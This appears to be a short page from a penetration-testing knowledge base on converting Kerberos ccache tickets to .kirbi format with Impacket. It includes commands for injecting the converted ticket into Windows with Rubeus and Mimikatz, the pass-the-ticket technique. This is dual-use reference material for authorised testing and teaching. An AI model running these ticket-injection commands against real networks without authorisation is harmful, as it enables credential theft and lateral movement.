Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter IV - Active Directory / 03. Kerberos / Tickets / Converting

CCACHE to KIRBI

ccache is the MIT Kerberos credential cache format used on Linux. We convert ccache to .kirbi when we want to move a Linux-obtained ticket into Windows and inject it with Rubeus or Mimikatz.

Convert with Impacket:

ticketConverter.py ticket.ccache ticket.kirbi

Alternative explicit path:

python3 /path/to/impacket/examples/ticketConverter.py ticket.ccache ticket.kirbi

Base64 encode for copy-paste:

base64 -w0 ticket.kirbi > ticket.kirbi.b64

Inject the file with Rubeus:

.\Rubeus.exe ptt /ticket:ticket.kirbi
klist

Inject a base64 blob with Rubeus:

$ticket = Get-Content .\ticket.kirbi.b64 -Raw
.\Rubeus.exe ptt /ticket:$ticket
klist

Inject with Mimikatz:

kerberos::ptt ticket.kirbi

If the ccache contains multiple tickets, check what you are converting first:

export KRB5CCNAME=FILE:$(pwd)/ticket.ccache
klist -e